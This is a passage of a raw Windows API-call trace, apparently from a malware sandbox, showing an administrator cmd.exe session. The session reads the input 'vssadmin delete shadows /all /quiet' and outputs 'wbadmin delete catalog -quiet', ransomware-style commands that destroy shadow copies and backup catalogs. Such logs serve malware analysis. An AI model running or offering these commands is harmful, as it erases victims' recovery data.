lpMem=0x351ab0 | out: hHeap=0x350000) returned 1 [0103.776] GetProcessHeap () returned 0x350000 [0103.776] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x3698a0 | out: hHeap=0x350000) returned 1 [0103.776] GetProcessHeap () returned 0x350000 [0103.776] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x364610 | out: hHeap=0x350000) returned 1 [0103.776] GetProcessHeap () returned 0x350000 [0103.776] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x3697e0 | out: hHeap=0x350000) returned 1 [0103.776] _vsnwprintf (in: _Buffer=0x4a416340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x24f458 | out: _Buffer="\r\n") returned 2 [0103.777] _get_osfhandle (_FileHandle=1) returned 0x12c [0103.777] GetFileType (hFile=0x12c) returned 0x3 [0103.777] _get_osfhandle (_FileHandle=1) returned 0x12c [0103.777] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a40c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0103.777] WriteFile (in: hFile=0x12c, lpBuffer=0x4a40c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x24f428, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesWritten=0x24f428*=0x2, lpOverlapped=0x0) returned 1 [0103.777] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a3ff360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0103.777] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a40c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0103.777] _vsnwprintf (in: _Buffer=0x4a3feb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x24f468 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0103.778] _vsnwprintf (in: _Buffer=0x4a3febaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x24f468 | out: _Buffer=">") returned 1 [0103.778] _get_osfhandle (_FileHandle=1) returned 0x12c [0103.778] GetFileType (hFile=0x12c) returned 0x3 [0103.778] _get_osfhandle (_FileHandle=1) returned 0x12c [0103.778] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a40c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0103.778] WriteFile (in: hFile=0x12c, lpBuffer=0x4a40c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x24f458, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesWritten=0x24f458*=0x26, lpOverlapped=0x0) returned 1 [0103.778] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.778] GetFileType (hFile=0x120) returned 0x3 [0103.778] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.778] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.778] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.778] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e320, cchWideChar=1 | out: lpWideCharStr="wssadmin delete shadows /all /quiet\n") returned 1 [0103.778] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.778] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.778] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.779] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e322, cchWideChar=1 | out: lpWideCharStr="bsadmin delete shadows /all /quiet\n") returned 1 [0103.779] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.779] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.779] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.779] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e324, cchWideChar=1 | out: lpWideCharStr="aadmin delete shadows /all /quiet\n") returned 1 [0103.779] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.779] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.779] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.779] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e326, cchWideChar=1 | out: lpWideCharStr="ddmin delete shadows /all /quiet\n") returned 1 [0103.779] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.779] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.779] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.779] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e328, cchWideChar=1 | out: lpWideCharStr="mmin delete shadows /all /quiet\n") returned 1 [0103.779] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.779] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.779] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.779] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e32a, cchWideChar=1 | out: lpWideCharStr="iin delete shadows /all /quiet\n") returned 1 [0103.779] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.780] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.780] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.780] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e32c, cchWideChar=1 | out: lpWideCharStr="nn delete shadows /all /quiet\n") returned 1 [0103.780] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.780] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.780] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.780] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e32e, cchWideChar=1 | out: lpWideCharStr=" delete shadows /all /quiet\n") returned 1 [0103.780] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.780] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.780] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.780] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e330, cchWideChar=1 | out: lpWideCharStr="ddelete shadows /all /quiet\n") returned 1 [0103.780] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.780] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.780] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.780] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e332, cchWideChar=1 | out: lpWideCharStr="eelete shadows /all /quiet\n") returned 1 [0103.780] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.780] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.780] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.781] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e334, cchWideChar=1 | out: lpWideCharStr="llete shadows /all /quiet\n") returned 1 [0103.781] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.781] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.781] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.781] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e336, cchWideChar=1 | out: lpWideCharStr="eete shadows /all /quiet\n") returned 1 [0103.781] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.781] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.781] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.781] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e338, cchWideChar=1 | out: lpWideCharStr="tte shadows /all /quiet\n") returned 1 [0103.781] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.781] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.781] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.781] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e33a, cchWideChar=1 | out: lpWideCharStr="ee shadows /all /quiet\n") returned 1 [0103.781] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.781] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.781] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.781] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e33c, cchWideChar=1 | out: lpWideCharStr=" shadows /all /quiet\n") returned 1 [0103.781] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.781] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.782] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.782] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e33e, cchWideChar=1 | out: lpWideCharStr="cshadows /all /quiet\n") returned 1 [0103.782] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.782] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.782] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.782] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e340, cchWideChar=1 | out: lpWideCharStr="ahadows /all /quiet\n") returned 1 [0103.782] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.782] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.782] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.782] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e342, cchWideChar=1 | out: lpWideCharStr="tadows /all /quiet\n") returned 1 [0103.782] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.782] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.782] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.782] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e344, cchWideChar=1 | out: lpWideCharStr="adows /all /quiet\n") returned 1 [0103.782] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.782] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.782] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.783] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e346, cchWideChar=1 | out: lpWideCharStr="lows /all /quiet\n") returned 1 [0103.783] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.783] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.783] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.783] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e348, cchWideChar=1 | out: lpWideCharStr="ows /all /quiet\n") returned 1 [0103.783] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.783] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.783] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.783] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e34a, cchWideChar=1 | out: lpWideCharStr="gs /all /quiet\n") returned 1 [0103.783] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.783] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.783] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.783] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e34c, cchWideChar=1 | out: lpWideCharStr=" /all /quiet\n") returned 1 [0103.783] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.783] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.783] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.783] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e34e, cchWideChar=1 | out: lpWideCharStr="-/all /quiet\n") returned 1 [0103.783] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.784] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.784] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.784] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e350, cchWideChar=1 | out: lpWideCharStr="qall /quiet\n") returned 1 [0103.784] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.784] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.784] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.784] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e352, cchWideChar=1 | out: lpWideCharStr="ull /quiet\n") returned 1 [0103.784] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.784] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.784] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.784] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e354, cchWideChar=1 | out: lpWideCharStr="il /quiet\n") returned 1 [0103.784] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.784] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.784] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.784] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e356, cchWideChar=1 | out: lpWideCharStr="e /quiet\n") returned 1 [0103.784] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.784] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.784] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.785] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e358, cchWideChar=1 | out: lpWideCharStr="t/quiet\n") returned 1 [0103.785] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.785] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.785] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0103.785] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e35a, cchWideChar=1 | out: lpWideCharStr="\nquiet\n") returned 1 [0103.785] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.785] GetFileType (hFile=0x120) returned 0x3 [0103.785] _get_osfhandle (_FileHandle=0) returned 0x120 [0103.785] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.785] _get_osfhandle (_FileHandle=1) returned 0x12c [0103.785] GetFileType (hFile=0x12c) returned 0x3 [0103.785] _get_osfhandle (_FileHandle=1) returned 0x12c [0103.785] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="wbadmin delete catalog -quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a40c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbadmin delete catalog -quiet\n", lpUsedDefaultChar=0x0) returned 31 [0103.785] WriteFile (in: hFile=0x12c, lpBuffer=0x4a40c320*, nNumberOfBytesToWrite=0x1e, lpNumberOfBytesWritten=0x24f738, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesWritten=0x24f738*=0x1e, lpOverlapped=0x0) returned 1 [0103.785] GetProcessHeap () returned 0x350000 [0103.785] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x4012) returned 0x36f630 [0103.786] GetProcessHeap () returned 0x350000 [0103.786] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36f630 | out: hHeap=0x350000) returned 1 [0103.786] GetProcessHeap () returned 0x350000 [0103.786] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xb0) returned 0x3697e0 [0103.786] GetProcessHeap () returned 0x350000 [0103.786] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x20) returned 0x364610 [0103.787] GetProcessHeap () returned 0x350000 [0103.787] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x3e) returned 0x36aa40 [0103.787] GetConsoleOutputCP () returned 0x1b5 [0103.787] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a40bfe0 | out: lpCPInfo=0x4a40bfe0) returned 1 [0103.787] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0103.787] GetConsoleTitleW (in: lpConsoleTitle=0x24f6f0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0103.787] GetProcessHeap () returned 0x350000 [0103.787] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x218) returned 0x351ab0 [0103.787] GetProcessHeap () returned 0x350000 [0103.788] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x4e) returned 0x369f20 [0103.788] GetProcessHeap () returned 0x350000 [0103.788] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x420) returned 0x36ba10 [0103.788] SetErrorMode (uMode=0x0) returned 0x1 [0103.788] SetErrorMode 